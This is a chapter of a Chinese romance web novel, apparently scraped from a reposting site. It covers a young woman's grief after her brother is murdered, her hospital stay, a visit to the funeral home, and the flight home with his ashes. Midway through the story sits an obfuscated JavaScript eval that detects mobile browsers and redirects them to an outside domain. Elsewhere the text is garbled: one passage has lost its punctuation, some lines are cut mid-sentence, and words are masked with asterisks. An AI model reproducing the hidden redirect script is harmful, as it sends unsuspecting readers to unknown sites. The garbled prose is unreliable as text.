第41章 寒鸦 不回来了啊?
作品:《雁来月》 041
“不要!”
郑云州赶到医院时,听见抢救室里传来撕心裂肺的一声喊。
他疾步走过去,看到三四个护士在死命地拉着林西月。
而他一向温顺惯了的女朋友,此刻正散乱着头发,浑身是血,伸着手往病床边扑过去,要把盖在董灏脸上的白布扯下来。
林西月像失了神志,力气大得惊人,口里尖锐地喊着:“你们放开我!让我去找我的弟弟,为什么要把他盖起来,我要带他回家!”
郑云州从没见她这样。
她始终端庄得体,说话轻声细语,林西月是温柔而坚定的,像四月里吹过树梢的风。
袁褚看着这场面也惊心。
他摇了摇头,小声问郑云州:“郑总,是不是准备镇静剂,让林小姐先休息一下,这样下去很危险。”
郑云州皱紧了眉头:“先去通知医生吧,我看能不能稳住她。”
他走到近前,让那几个护士先下去,一只手扣住了她的腰,抱稳了她半边肩膀:“好了好了,不哭了。”
林西月看见是他,眼中竟有一丝惊喜,她紧紧攥着他的衣领,呼吸紊乱而急促地说:“郑云州,你快点救救我弟弟,你救了我一次,也救了他一次,一定还有办法的,对不对?”
郑云州捧着她的脸,用了他生平最轻柔的声音:“没有办法,那畜生下手太狠,小灏他失血过多,医生已经宣布死亡了。”
现在的林西月看上去苍白脆弱,像个轻轻一碰就会碎的瓷体薄胎。
郑云州怕音量稍微一高,就要吓坏她。
她怔住了,喃喃自语着:“**......已经宣布**......”
两行热泪又滚下来,覆压在还没干透的泪痕上,林西月闭了闭眼,已经快站不住了。
郑云州另一只手也抱上去,稳稳地托住了她,满眼疼惜地说:“嗯,你听话,不要再闹了,身体要紧,啊。”
但林西月就像没听见,她还在重复地说:“**......人**就不能醒了......”
郑云州拨了拨她被血凝成一绺的头发,慢慢地哄她,“你弟弟是最勇敢的,他救了他的姐姐,你别在他面前这样,害他担心你。”
“**......**......”
林西月的眼皮快速眨动,不断地往上翻,说完这两句话,身体晃了晃,倒在了郑云州怀里。
他抱起她,飞快地往旁边去,大声喊道:“医生,快,她晕过去了。”
几个医生将她放上急救床:“您先到外面等,交给我们。”
林西月做了个好长的梦。
梦里的她脚步轻盈,走在县
城初中旁老旧的小区里道路两边的四季桂又到了花期飘出一阵浓腻的香气。
一个歪着头的男孩子站在废弃的沙土堆里玩得很高兴。
“小灏。”他的姐姐从楼上下来叫了他一句。
姐姐穿着初中的校服裤腿边缘已经洗得褪色发白但看上去干净整洁绑着一个高高的马尾皮肤雪白。
他姐姐走到他身边把他牵出来蹲下去给他拍掉衣服上的沙子。
姐姐抬起头瞪他:“早上我才给你换的又脏了。”
“一点点......我不玩沙子了......好不好?”小灏说。
姐姐站起来指了指旁边高高垒起的砖头:“脏还不要紧你看这里多危险啊万一砸着你怎么办?走老师做好饭了我们上楼。”
林西月又跟着他们往上走。
姐姐进门领着小灏洗了手又去厨房帮忙。
林西月站在客厅里看着周围熟悉的一切。
阳光从豁了道口子的玻璃里斜切进来照在糊了报纸的绿色墙壁上边角已经卷了起来露出地下一层厚厚的霉斑天花板的每道缝隙里都积满了笨重的油灰黑沙发已经凹陷了一块。
有个中年女人站在灶台边用铁勺爽利地刮着锅底咸菜混着猪油的香味溢出来。
姐姐拿了盘子在旁边灶台是瓷砖垒起来的嵌着积年的污垢在日光下泛着油亮的光。
她接了菜又从厨房里出来先叫弟弟吃饭。
女人也摘了围裙坐到了桌边她说:“我刚从学校来改完了初三期末考的卷子。”
小灏赶紧问:“姐姐......姐姐考得怎么样?”
“这孩子就知道姐姐。”女人看了儿子一眼“我等排名出来了才走的你姐姐又是全年级第一。”
姐姐着急地问:“那下学期的补贴名额里能有我吧?”
女人说:“能我跟校长申请过了怎么样都该给你的。”
“不
女人摸了摸她的脸:“西月真懂事。好好读书高中三年也很快的不要松懈知道吗?”
“知道。”
林西月站在旁边看着他们眼眶酸得要命。
但伸手摸了摸脸又一滴眼泪都没有她发不出任何声音也没人看得见她。
天不知道怎么就黑了林西月看小灏又下了楼她也忙跟出去。
他仍去那个沙堆里玩沙子身体左摇右摆的碰动了旁边摆放不稳的红砖。
眼看砖头就要掉下来林西月着急地大喊了句:“你快出来
你姐姐不是不让你玩吗?
可她的喉咙就像被人掐住,朝着男孩子死命地喊,他也听不见。
“小灏!
林西月吓得睁开了眼。
她躺在床上,脸陷在松软的枕头里,鼻腔里一股难闻的消毒水味,头顶上的输液瓶中,药水正一滴滴地往下流。
病房里不见人影,走廊上倒是有t?响动,仿佛是郑云州的声音。
他又在生气,骂身边的警卫说:“你们到底干什么吃的,守在她身边都会出事?啊!
警卫惧怕地解释:“郑总,那个叫葛世杰的,出来的太快了,又是大白天的,胡同里来来往往的人多,根本防备不了,他一亮了刀,我们就拨开人群跑过去了,只差了那么几秒钟,要再晚一点,他杀完董灏,下一个就是林小姐。
郑云州也感到后怕,袒露在白炽灯下的冷白手臂上,根根汗**竖了起来。
他都不敢去想,如果没的是林西月,他会怎么样。
郑云州微微气促,眼神冷淡地扫了他们一眼。
警卫慌忙低头,不敢再多说什么。
袁褚在旁帮着说了句话:“是,我联系了警方,葛世杰的口供是这么说的,如果没被制住,他还不会停手。附近的居民说,他这几天常在那条胡同里,是专等着林小姐过去的。
“好了,去吧。郑云州疲惫地挥了挥手。
他打开病房门,看见林西月已经醒了,眼皮微阖。
郑云州坐到床边,握住她另一只手说:“觉得好点了没有?
她摇头:“扶我起来。
他把枕头垫高了一点,托住她的背:“慢慢的,仔细头晕。
林西月靠在枕头上,双眼空洞无神,目光不知道落在哪里。
郑云州端起旁边的保温杯,拆了根吸管放进去:“来,你躺了这么久,喝点水。
她顺从地吸了两口,摆摆手,说不要了。
林西月低头看了看自己,那件沾满了血的衣服换掉了,她身上也被擦得干干净净。
郑云州把杯子放回去,往后拨了下她的头发,温柔地问:“饿了吗?我让人熬了点粥,你吃一点好不好?
她又摇头。
林西月嗫喏了一阵,还是问:“我弟弟呢?
郑云州揉着她的手说:“送去殡仪馆了,你要去见到最后一面的话,我陪你,但我们要先吃点东西,你的身体也不好。
“嗯。
林西月强忍着悲恸,但眼泪还是在抿唇的瞬间,一颗颗地砸了下来。
她的肩膀抖起来,越哭越剧烈,后来嚎啕着说:“我本来......我本来......今天要送他回云城的......是我害了他......是我
害了他......”
看她这样,郑云州的心像被揪了一把,紧巴巴地皱在了一起。
他皱眉,疼惜地把她抱到怀里,不断地用下巴摩挲着她的额头,小声劝慰说:“不是你的错,怎么能怪你呢?”
林西月把脸埋在他胸口,哭得肝肠寸断:“我不要他救我.....我宁愿是我自己**......我不要他这样救我......我怎么对得起董老师......”
“我相信,我相信。”郑云州的衬衫被打湿了一大片,她温热的眼泪不断地扑上来,又很快变凉,黏腻地贴在他的皮肤上。
但他全然没察觉,仍一下下摸着她的背,试着让她安静下来。
郑云州也红了眼眶,抵着她的发顶,声音里掺着一丝哽咽:“你听话,不要这样哭了,伤身哪。”
林西月哭得喉咙沙哑,还靠在他肩上说:“小灏要开小吃店,我都给他存好钱了,要是早一天,或者晚一天走就好了,葛世杰就不会找上他。”
郑云州拍着她说:“不是你的责任,据葛世杰自己说,他在那里蹲点很久了,就是奔着你们去的。他得了痨病,没几天活头了,就想杀了你,也杀了董灏,他说他一个都不放过。”
林西月又开始发抖,咬着牙说:“他真该挨千刀万剐!”
她太虚弱,医院不批她的出院手续,在病房观察了一夜。
隔天一早起来,郑云州接了个要紧的电话,说要先去趟集团,一会儿就来接她。
林西月点头:“别急,你路上慢一点,我在这里等你。”
“好。”郑云州的指腹刮过她的脸,叮咛说,“你身体还没好,不要乱动,要什么吩咐他们。”
“嗯。”
她在床上坐了会儿,没多久,有个四十来岁,样貌儒雅的中年男人进来了。
丁秘书说:“小林你好,我是云州爸爸的秘书,姓丁。”
他没有报职务,听上去难免有以权压人的嫌疑。
只说是云州的爸爸,显得亲切,无形中拉近了距离。
林西月愣了一下,挤出个晦涩的笑容:“您好,我不方便,就不起身了,您随便坐。”
丁秘书站在床边看着她。
小姑娘虽然脸色苍白,但清丽的底子还是在,甚至不卑不亢的,给了他礼节性的笑容,在受了这么重的打击下。
丁秘书在沙发上坐了,看望慰问他是做惯了的,也很有一套。
他语调平和地说:“小林,家里出了这么大的事情,你要节哀啊,逝者已矣,我们活着的人,能做的也就是缅怀,悼念,别的也无济于事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607729|161929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丁秘书说话是很能给人力量感的。
林西月点头,但心里也知道,
这不是他来这一趟的目的。她说:“嗯,我都明白,您有什么事要和我说吗?
丁秘书说:“没有,我们就是关心你,怕你年纪小,突然遭遇这样的事,会钻牛角。
停顿了一会儿,他又说:“另外,今后生活工作上有什么困难,你都可以找我,这是我的电话,你留好。
说到这里就可以了。
他做了这么多年工作,阅人无数,这小姑娘看着就是聪明人,和聪明人说话,不用讲得那么直白赤裸,把意思点到了就好。
林西月双手接过,记在了手机里:“谢谢,有要帮忙的,我一定打给您。
“好,你多保重,再见。
丁秘书没久留,待了会儿就走了。
快到中午时,郑云州忙完,接上她出了院。
林西月换了件黑色大衣,她从昨天到现在,只喝了几口清粥,还是郑云州软磨硬泡喂下去的,她没什么力气,指尖发着抖,毛呢外套的扣子都扣不上。
“来。郑云州把她拉到身边,给她扣好了。
他把她打横抱起来,出了医院。
林西月手脚酸乏,靠在他怀里时,不说话也不动,闭着眼,睫毛轻轻地颤。
上车后,袁褚坐在前面问:“郑总,现在回家还是......
“去殡仪馆吧。林西月低弱地出声,她抬头看郑云州,“我去送送小灏。
郑云州叹气,也不好在这时候拗她:“那就去吧。
“好的,我让那边准备一下。袁褚发动车子,一边去拨通电话。
郑云州压下眼皮,柔声嘱咐她:“去可以,到了那里不要再像昨天一样哭了,答应我。
林西月乖巧地点头:“知道。
殡仪馆里的味道很杂,消毒水里混杂着香烛的烟气,静穆得吓人。
郑云州牵着她进去,林西月的嘴唇一直在抖,指甲掐进了他的掌心里。
冷藏柜抽出来时,带出一阵白色的冷雾,董灏的脸埋在雾气里,看着那么小。
入殓师给他擦干净了血,化了妆,令他看上去年轻稚嫩,就像在睡午觉,脖子上盖着厚厚的粉,但仍遮不住左侧的刀口。
林西月伸出手,想要碰一碰的他的脸,却被工作人员拦住:“您节哀,会碰掉妆的。
郑云州裹住了她的手:“好了,就这么静静地看吧。
她忍了又忍,把眼眶里的泪忍了回去,一言不发。
从里面出来时,不知道是灵堂外的哪家人碰翻了火盆,叮咣一声巨响,把屋檐上的麻雀惊得飞起来。
回家的路上,林西月说:“我想把弟弟带回云城安葬,可以吗?
她想,小灏一心想要回老家,留在这里会不高兴
的。
“这些都不是问题,我陪你一起去。”郑云州抱着她说,“只要你听点话,赶快好起来。”
袁褚听后,谨慎地提醒了句:“郑总,后天有场生物医疗行业峰会,你是**,要发言的,可能......不方便出京。”
林西月本来也不想他陪着。
她说:“你去吧,我自己可以的,开会要紧。”
车子平稳行驶在郊外,入冬了,河流进入枯水期,河床露出褐黄的脊梁,电线杆歪在田埂尽头。
几株芦苇折断在水边,车窗外不断有寒树枯枝掠过,几只漆黑的乌鸦立在上头,羽毛被北风吹得蓬起来。
他心里浮动隐约的不安,但峰会确实又不能不去。
他琢磨了片刻:“那这样,我派几个人t?陪着你,一应事情让他们去办,你别累着。”
“嗯。”林西月在他怀里点头,无声地闭上眼。
在金浦街休息了两天,林西月都表现得还算平静,没再大哭大闹。
郑云州给她请了一周的假。
出发去云城的头天夜里,他躺在床上,不放心地再次交代:“安顿好了就早点回来,别让我担心。”
“好。”林西月伸手摸了摸他的眼尾,轻柔地说,“你也别太累了,记得吃饭,我知道开会很烦,但还是少抽两根烟吧,好不好?”
郑云州玩笑说:“怎么了,一下子叮嘱我这么多事,不回来了啊?”
林西月的手指一僵,往他怀里靠了靠:“怎么会,我还得上班呢。”
郑云州松松地抱了她:“早点睡吧,明天我送你去机场。”
“嗯。”
第二天登机,林西月仍是一身黑衣黑裙,戴了一副白色的手套,抱着个檀木盒子,里面是董灏的骨灰坛。
春妮陪她一起去,盒子放在了她们中间。
起飞时,林西月的手摩挲在盒子边缘,轻声呢喃:“我们回家了。”
春妮垂着头,叹气说:“他走的前一天晚上,还在高高兴兴地跟我说,说自己没坐过飞机。”
林西月嗯了声:“这也算坐过了。”
这几天过得心力交瘁,在飞机上,林西月慢慢地闭起眼。
半梦半醒间,隔着白茫茫的云层,她看见董灏和他妈妈站在一起,还是小时候的样子,扭过脖子对她笑:“姐姐,那个缠着你的恶人**,你以后再也不用害怕,这样我就放心了。”

